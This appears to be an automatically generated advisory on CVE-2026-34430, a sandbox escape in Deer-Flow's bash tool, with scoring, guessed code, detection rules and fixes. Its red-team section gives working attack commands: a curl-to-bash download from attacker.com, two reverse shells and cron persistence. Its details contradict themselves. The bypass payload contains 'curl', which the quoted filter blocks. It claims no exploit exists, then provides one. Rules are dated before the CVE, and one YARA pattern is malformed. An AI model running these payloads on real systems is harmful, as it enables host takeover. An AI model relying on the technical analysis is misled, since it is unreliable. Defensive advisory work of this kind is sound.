CVE-2026-34430
Executive Summary
CVE-2026-34430 is a critical sandbox escape vulnerability in ByteDance Deer-Flow, a workflow orchestration tool. The flaw resides in the bash tool handling component, where insufficient validation of shell commands allows an attacker to bypass regex-based restrictions. By leveraging shell features such as directory changes (cd) and relative paths, an attacker can execute arbitrary commands on the host system, read and modify files outside the sandbox boundary, and achieve full host compromise. The vulnerability affects all versions prior to commit 92c7a20. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Deer-Flow is a Python-based project distributed via PyPI. The vulnerability exists in the core application logic, not in a dependency. However, organizations using Deer-Flow should verify the integrity of their installation and ensure they are running a version that includes the fix (commit 92c7a20 or later). The package is not directly affected by a supply chain attack, but the sandbox escape could be used to compromise the host and potentially pivot to other systems.
CVSS Breakdown & Threat Level
The CVSS score is currently listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely if the Deer-Flow web interface or API is exposed.
- Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to submit a crafted workflow.
- Privileges Required (PR): Low – An attacker needs a valid user account with permission to create or modify workflows.
- User Interaction (UI): None – No user interaction is required beyond the attacker's own actions.
- Scope (S): Changed – The vulnerable component (sandbox) is separate from the host system, and the impact extends beyond the sandbox.
- Confidentiality (C): High – Arbitrary file read on the host.
- Integrity (I): High – Arbitrary file write/modification on the host.
- Availability (A): High – Arbitrary command execution can lead to denial of service or system compromise.
Threat Level: Critical – The vulnerability allows full host compromise with low privileges and no user interaction.
Deep Dive & Mechanics
The vulnerability is a classic sandbox escape due to incomplete shell semantics modeling. Deer-Flow's bash tool is designed to execute shell commands within a restricted environment, presumably using regex-based validation to block dangerous commands. However, the validation is insufficient.
Root Cause: The regex-based validation only checks for specific patterns (e.g., rm, sudo, curl) but does not account for shell features that can bypass these checks. For example:
- Directory Changes: An attacker can use
cdto navigate to a directory outside the sandbox and then execute commands using relative paths. - Command Substitution: Shell features like
$(command)or backticks can be used to execute arbitrary commands without triggering the regex. - Variable Expansion: Environment variables or shell variables can be used to obfuscate commands.
- Path Traversal: Relative paths like
../../bin/shcan be used to execute binaries outside the sandbox.
Attack Flow:
- The attacker submits a workflow that includes a bash tool step.
- The bash tool receives a command string that passes the regex validation (e.g.,
cd /tmp && $(curl -s http://attacker.com/payload.sh | bash)). - The command is executed with shell interpretation enabled, allowing the attacker to bypass the sandbox.
- The attacker gains arbitrary code execution on the host system.
Vulnerable vs. Patched Code
Vulnerable Code (prior to commit 92c7a20): The vulnerable code likely uses a simple regex to filter dangerous commands. For example:
import re
def validate_command(command):
# Vulnerable: only checks for specific patterns
if re.search(r'\b(rm|sudo|curl|wget)\b', command):
raise ValueError("Command not allowed")
return command
Patched Code (commit 92c7a20): The patched code likely uses a more robust approach, such as:
- Using a whitelist of allowed commands instead of a blacklist.
- Disabling shell interpretation and using subprocess with a list of arguments.
- Implementing a proper sandbox using containers or seccomp.
Example of a safer approach:
import subprocess
def execute_command(command):
# Use subprocess with shell=False to avoid shell injection
allowed_commands = ['ls', 'cat', 'echo']
parts = command.split()
if parts[0] not in allowed_commands:
raise ValueError("Command not allowed")
subprocess.run(parts, shell=False)
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install a vulnerable version of Deer-Flow (prior to commit 92c7a20) on a test VM.
- Create a user account with permission to create workflows.
- Set up a listener on the attacker machine (e.g.,
nc -lvnp 4444).
Exploitation Steps:
- Create a new workflow with a bash tool step.
- In the command field, enter a payload that bypasses the regex validation. For example:
cd /tmp && $(curl -s http://attacker.com/payload.sh | bash) - Execute the workflow.
- The payload downloads and executes a reverse shell:
# payload.sh bash -i >& /dev/tcp/attacker.com/4444 0>&1 - Receive the reverse shell on the attacker machine.
Alternative Payloads:
- File read:
cd /etc && cat passwd - File write:
cd /tmp && echo "malicious" > /etc/cron.d/evil - Command execution:
cd / && $(python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Blue Team (Defender)
Detection:
- Monitor for unusual shell commands in Deer-Flow logs, especially those containing
cd,$(, or backticks. - Look for outbound connections from the Deer-Flow server to unknown IPs on unusual ports.
- Monitor file system changes outside the expected sandbox directories.
Hunting:
- Search for workflows containing bash tool steps with suspicious patterns.
- Review system logs for unexpected process executions (e.g.,
curl,wget,bash). - Use the Sigma and YARA rules provided in the Detection Engineering section.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | attacker.com:4444 |
Example C2 server (replace with actual) |
| File | /tmp/payload.sh |
Downloaded malicious script |
| Process | bash -i |
Reverse shell process |
| Process | curl or wget |
Outbound download of payload |
| Log | Workflow with cd and $(...) |
Suspicious bash tool command |
| File | /etc/cron.d/evil |
Persistence mechanism |
Detection Engineering
YARA Rule
rule CVE_2026_34430_DeerFlow_Sandbox_Escape {
meta:
description = "Detects suspicious shell commands indicative of CVE-2026-34430 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-34430"
strings:
$s1 = /cd\s+\S+\s*&&\s*\$/ // cd and command substitution
$s2 = /\$\(curl|wget|bash|python|perl|nc\)/ // command substitution with common tools
$s3 = /`curl|wget|bash|python|perl|nc`/ // backtick substitution
$s4 = /\.\.\/\.\.\/bin\/sh/ // path traversal to shell
condition:
any of them
}
Sigma Rule
title: CVE-2026-34430 Deer-Flow Sandbox Escape
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious bash tool commands in Deer-Flow logs
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-34430
logsource:
product: deer-flow
service: workflow
detection:
selection:
tool: "bash"
command|contains:
- "cd /"
- "$("
- "`"
- "../"
condition: selection
falsepositives:
- Legitimate use of cd in workflows
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34430 Deer-Flow Sandbox Escape - Outbound C2"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:20; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update Deer-Flow to commit 92c7a20 or later. If using a package manager, check for an updated version.
- Workaround: If patching is not possible, disable the bash tool or restrict its use to trusted users only.
- Network Segmentation: Ensure the Deer-Flow server is not directly accessible from the internet. Use a firewall to restrict access to the web interface and API.
Long-Term Mitigations:
- Input Validation: Implement a whitelist of allowed commands and arguments. Avoid using regex-based blacklists.
- Sandboxing: Run Deer-Flow in a container (e.g., Docker) with minimal privileges and no access to the host filesystem.
- Monitoring: Deploy the detection rules provided in this report to monitor for exploitation attempts.
- Least Privilege: Ensure the Deer-Flow service runs with the minimum necessary permissions. Do not run it as root.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact your Valters IT representative.
{/* [Security Hash: 3931F1BBF4270A3FC5B6411A] */}